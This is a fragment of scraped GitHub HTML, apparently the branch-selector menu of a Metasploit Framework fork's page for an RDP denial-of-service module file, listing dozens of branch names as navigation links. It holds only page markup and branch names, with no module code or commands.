href="/jvazquez-r7/metasploit-framework/blob/erdas_er_viewer_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="erdas_er_viewer_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="erdas_er_viewer_bof">erdas_er_viewer_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/erdas_er_viewer_rf_report_error/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="erdas_er_viewer_rf_report_error" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="erdas_er_viewer_rf_report_error">erdas_er_viewer_rf_report_error</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/esmnemon-modbus-aux/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="esmnemon-modbus-aux" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="esmnemon-modbus-aux">esmnemon-modbus-aux</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ethicalhack3r-php_include/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ethicalhack3r-php_include" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ethicalhack3r-php_include">ethicalhack3r-php_include</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/exim4_dovecot_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="exim4_dovecot_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="exim4_dovecot_exec">exim4_dovecot_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/f5_big_ip_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="f5_big_ip_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="f5_big_ip_work">f5_big_ip_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fail_with_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fail_with_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fail_with_fix">fail_with_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/addp-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/addp-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/addp-modules">feature/addp-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/all-modules-load-spec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/all-modules-load-spec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/all-modules-load-spec">feature/all-modules-load-spec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/bump-rails-and-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/bump-rails-and-gemcache" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/bump-rails-and-gemcache">feature/bump-rails-and-gemcache</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/codeclimate.com/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/codeclimate.com" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/codeclimate.com">feature/codeclimate.com</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/gemize-kissfft/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/gemize-kissfft" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/gemize-kissfft">feature/gemize-kissfft</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/metsploit-data-models-0.3.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/metsploit-data-models-0.3.0" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/metsploit-data-models-0.3.0">feature/metsploit-data-models-0.3.0</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/niagara-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/niagara-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/niagara-modules">feature/niagara-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/railgun/error_msg/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/railgun/error_msg" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/railgun/error_msg">feature/railgun/error_msg</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/realport-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/realport-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/realport-modules">feature/realport-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/travis-ci.org/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/travis-ci.org" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/travis-ci.org">feature/travis-ci.org</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/udp-scanner-mixin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/udp-scanner-mixin" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/udp-scanner-mixin">feature/udp-scanner-mixin</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/feature/updated-mobile/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="feature/updated-mobile" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="feature/updated-mobile">feature/updated-mobile</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/file_dropper_support_local/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="file_dropper_support_local" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="file_dropper_support_local">file_dropper_support_local</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/findpids/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="findpids" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="findpids">findpids</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/firefox_onreadystatechange/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="firefox_onreadystatechange" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="firefox_onreadystatechange">firefox_onreadystatechange</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix-2438/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix-2438" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix-2438">fix-2438</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_auth_brute/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_auth_brute" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_auth_brute">fix_auth_brute</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_command_php/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_dlink_command_php" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_dlink_command_php">fix_dlink_command_php</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_dir300_exec_telnet/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_dlink_dir300_exec_telnet" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_dlink_dir300_exec_telnet">fix_dlink_dir300_exec_telnet</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_upnp_exec_noauth/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_dlink_upnp_exec_noauth" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_dlink_upnp_exec_noauth">fix_dlink_upnp_exec_noauth</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_ex_handle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_ex_handle" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_ex_handle">fix_ex_handle</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_firefox_condition/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_firefox_condition" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_firefox_condition">fix_firefox_condition</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_ge_proficy/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_ge_proficy" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_ge_proficy">fix_ge_proficy</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_gestioip_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_gestioip_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_gestioip_exec">fix_gestioip_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_hp_operations_get_once/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_hp_operations_get_once" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_hp_operations_get_once">fix_hp_operations_get_once</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_jtr_mixin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_jtr_mixin" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_jtr_mixin">fix_jtr_mixin</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_nbns_response_descr/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_nbns_response_descr" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_nbns_response_descr">fix_nbns_response_descr</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_payload_encoding/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_payload_encoding" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_payload_encoding">fix_payload_encoding</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_python_load/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_python_load" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_python_load">fix_python_load</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_require_portproxy/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_require_portproxy" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_require_portproxy">fix_require_portproxy</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_rspec_ropdb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_rspec_ropdb" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_rspec_ropdb">fix_rspec_ropdb</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fix_zdi_ref/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fix_zdi_ref" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fix_zdi_ref">fix_zdi_ref</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/fixes-ie-0day/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="fixes-ie-0day" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="fixes-ie-0day">fixes-ie-0day</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/foreman_username/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="foreman_username" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="foreman_username">foreman_username</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/foswiki_maketext/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="foswiki_maketext" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="foswiki_maketext">foswiki_maketext</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/foxit_reader_plugin_url_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="foxit_reader_plugin_url_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="foxit_reader_plugin_url_bof">foxit_reader_plugin_url_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/freebsd_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="freebsd_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="freebsd_fix">freebsd_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/freefloat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="freefloat" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="freefloat">freefloat</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/github_pulls/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="github_pulls" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="github_pulls">github_pulls</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/gpp-passwords/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="gpp-passwords" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="gpp-passwords">gpp-passwords</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/grammar-fixes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="grammar-fixes" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="grammar-fixes">grammar-fixes</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/groundwork_monarch_cmd_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="groundwork_monarch_cmd_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="groundwork_monarch_cmd_exec">groundwork_monarch_cmd_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/groupwise_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="groupwise_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="groupwise_traversal">groupwise_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/handler-requires-race/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="handler-requires-race" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="handler-requires-race">handler-requires-race</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hmoore-r7-module-loader/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hmoore-r7-module-loader" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hmoore-r7-module-loader">hmoore-r7-module-loader</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/honeywell_tema_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="honeywell_tema_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="honeywell_tema_exec">honeywell_tema_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_dataprotector_dtbclslogin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_dataprotector_dtbclslogin" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_dataprotector_dtbclslogin">hp_dataprotector_dtbclslogin</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_faultdownloadservlet_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_imc_faultdownloadservlet_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_imc_faultdownloadservlet_traversal">hp_imc_faultdownloadservlet_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_ictdownloadservlet_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_imc_ictdownloadservlet_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_imc_ictdownloadservlet_traversal">hp_imc_ictdownloadservlet_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_mibfileupload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_imc_mibfileupload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_imc_mibfileupload">hp_imc_mibfileupload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_reportimgservlt_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_imc_reportimgservlt_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_imc_reportimgservlt_traversal">hp_imc_reportimgservlt_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_mpa_job_acct/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_mpa_job_acct" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_mpa_job_acct">hp_mpa_job_acct</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_snac_enum_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_snac_enum_creds" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_snac_enum_creds">hp_snac_enum_creds</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_system_mgmt_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_system_mgmt_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_system_mgmt_work">hp_system_mgmt_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_vsa_exec_9/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_vsa_exec_9" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_vsa_exec_9">hp_vsa_exec_9</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/hp_vsa_login_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="hp_vsa_login_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="hp_vsa_login_bof">hp_vsa_login_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ibm_cognos_tm1admsd_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ibm_cognos_tm1admsd_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + 